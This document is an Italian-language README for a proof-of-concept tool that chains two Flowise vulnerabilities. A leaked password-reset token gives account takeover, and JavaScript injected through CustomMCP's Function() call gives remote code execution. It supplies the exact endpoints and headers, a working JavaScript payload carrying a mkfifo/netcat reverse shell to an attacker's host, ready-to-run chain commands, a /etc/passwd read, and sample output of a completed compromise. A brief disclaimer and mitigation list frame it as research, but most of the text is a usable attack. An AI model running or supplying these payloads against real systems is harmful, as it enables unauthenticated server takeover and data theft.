
PoC modulare per CVE-2025-58434 (account takeover) e CVE-2025-59528 (RCE) in Flowise. Automatizza l'intera catena di attacco dalla perdita di token non autenticata all'esecuzione remota di codice tramite reverse shell o comando personalizzato.
⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata.
Eseguire questo strumento contro sistemi che non possiedi o per cui non hai autorizzazione scritta è illegale.
Questo repository combina due vulnerabilità critiche in Flowise in un unico strumento PoC modulare.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Tipo | Furto d'account | Esecuzione di codice remota |
| Auth richiesta | Nessuna | Sì (qualsiasi account valido) |
| CVSS | 9.8 Critico | Critico |
| Affetto | Cloud + Self-hosted | Self-hosted |
Le due vulnerabilità si concatenano naturalmente: CVE-2025-58434 fornisce furto d'account non autenticato, che soddisfa il requisito di autenticazione per CVE-2025-59528 — ottenendo così RCE non autenticata in una singola esecuzione automatizzata.
Causa principale: L'endpoint forgot-password restituisce il token di reset password (tempToken) direttamente nel corpo della risposta HTTP invece di inviarlo solo via email.
Passaggi dell'attacco:
POST /api/v1/account/forgot-password con qualsiasi email registratatempToken dalla risposta JSON — nessun accesso all'email necessarioPOST /api/v1/account/reset-password con il token trapelato → imposta una nuova passwordRisposta trapelata (ridotta):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Causa principale: Il nodo CustomMCP passa mcpServerConfig fornito dall'utente direttamente al costruttore Function() di JavaScript senza alcuna sanificazione. Poiché Flowise è eseguito in Node.js, il codice iniettato ha pieno accesso a child_process, fs e tutti i built-in di Node.js.
Percorso codice vulnerabile:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← input utente non sanificato
Headers richiesti:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Payload di iniezione predefinito (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Nota: I payload di reverse shell usano
cp.exec()(asincrono / fire-and-forget) in modo che la richiesta HTTP ritorni immediatamente e lo strumento non vada in timeout. I comandi normali usanocp.execSync()e restituiscono l'output inline.
Attaccante API Flowise
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token trapelato nella risposta
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cancellato) │ ← ATO completato
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies estratti
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() scatta in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Listener nc dell'attaccante ←────────── Il server si riconnette
✓ RCE completa da zero credenziali
| Componente | Stato |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Affetto da CVE-2025-58434 |
| Flowise self-hosted (tutte le versioni precedenti alla patch) | Affetto da entrambi i CVE |
Controlla gli avvisi di sicurezza ufficiali di Flowise per i numeri di versione patchati.
flowise-dual-cve-poc/
├── flowise_poc.py # PoC principale — tutti i moduli + modalità catena
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
└── DISCLAIMER.md # Avviso legale completo
requestsgit clone https://github.com/tuonome/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Nessun flag di modalità è richiesto. Se esegui lo script senza --chain o --module, esegue automaticamente la modalità catena completa. Il payload RCE predefinito è una reverse shell — basta fornire --lhost e --lport.
# Invocazione minima — catena completa + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Avvia il tuo listener prima di eseguire:
nc -lvnp 4444
python3 flowise_poc.py -h
Esegue tutti e quattro i passaggi end-to-end: trapelamento token → reset password → login → RCE.
# Reverse shell (payload predefinito)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Comando personalizzato invece di reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Password ATO personalizzata + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Trapela il tempToken e resetta la password dell'account. Si ferma prima del login/RCE.
# Nuova password predefinita
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Nuova password personalizzata
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Stampa risposta JSON grezza
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Autentica ed estrae i tre cookie di sessione per uso manuale.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# Output JSON per script
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Esegue sul server. Effettua il login automatico se --token non è fornito.
# Reverse shell — login automatico
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Comando personalizzato — login automatico
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Token manuale — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# Tutti e tre i cookie manualmente
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Flag | Descrizione |
|---|---|
--chain | Catena completa: ATO → Login → RCE |
--module ato | Solo furto d'account |
--module login | Solo login ed estrazione cookie |
--module rce | Solo RCE |
| Flag | Breve | Descrizione | Richiesto |
|---|---|---|---|
--url | -u | URL base dell'istanza Flowise | Sempre |
--email | -e | Email target / login | Sempre |
| Flag | Breve | Descrizione | Default |
|---|---|---|---|
--new-password | -p | Password impostata sull'account vittima dopo l'ATO | Flowise@Pwn3d2025! |
| Flag | Breve | Descrizione |
|---|---|---|
--login-password | -P | Password per il modulo login / RCE auto-login |
--token | — | Fornisce manualmente il cookie token (salta login) |
--refresh-token | — | Fornisce manualmente il cookie refreshToken |
--connect-sid | — | Fornisce manualmente il cookie connect.sid |
| Flag | Breve | Descrizione | Default |
|---|---|---|---|
--lhost | — | IP attaccante per reverse shell | — |
--lport | — | Porta attaccante per reverse shell | — |
--command | -c | Comando OS personalizzato (sovrascrive revshell) | id se nessun lhost/lport |
| Flag | Breve | Descrizione | Default |
|---|---|---|---|
--timeout | -t | Timeout HTTP (secondi) | 15 |
--json-output | -j | Stampa risposte JSON grezze | false |
Lo script sceglie automaticamente la modalità di esecuzione giusta:
| Scenario | Payload usato | Comportamento HTTP |
|---|---|---|
--lhost + --lport (nessun -c) | one-liner mkfifo netcat | cp.exec() — asincrono, ritorna immediatamente |
-c "..." contenente nc/mkfifo/bash -i | rilevato come revshell | cp.exec() — asincrono, ritorna immediatamente |
-c "id" o qualsiasi altro comando normale | comando utente | cp.execSync() — bloccante, restituisce output |
nessun -c, nessun --lhost | id | cp.execSync() — bloccante, restituisce output |
L'esecuzione asincrona significa che la richiesta HTTP si completa istantaneamente — nessun errore di timeout sui payload di reverse shell.
[Step 1] [CVE-2025-58434] Richiesta token forgot-password ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
DATI ACCOUNT TRAPELATI
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABILE — token divulgato senza autenticazione!
[Step 2] [CVE-2025-58434] Reset password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Reset password RIUSCITO (tempToken cancellato)
[+] Furto d'account completato → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Login per estrarre cookie di sessione ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
COOKIE DI SESSIONE ESTRATTI
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Esecuzione RCE tramite CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RISULTATO RCE
────────────────────────────────────────────────────────────────────
Modalità : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Payload reverse shell inviato!
[!] In attesa di connessione su 10.10.16.35:4444 ...
[!] Assicurati che il tuo listener sia in esecuzione: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CATENA COMPLETATA
tempToken solo via email registrata.forgot-password.Function(), eval() o vm.runInThisContext().mcpServerConfig come solo dati (es. JSON.parse()) — non eseguirlo mai.| Data | Evento |
|---|---|
| 2025-08-19 | CVE-2025-58434 scoperto e segnalato |
| TBD | CVE-2025-59528 scoperto e segnalato |
| TBD | Riconoscimento del venditore |
| TBD | Patch rilasciata |
| TBD | Divulgazione pubblica |
Solo per scopi educativi e test di penetrazione autorizzati.
Vedi DISCLAIMER.md per l'avviso legale completo.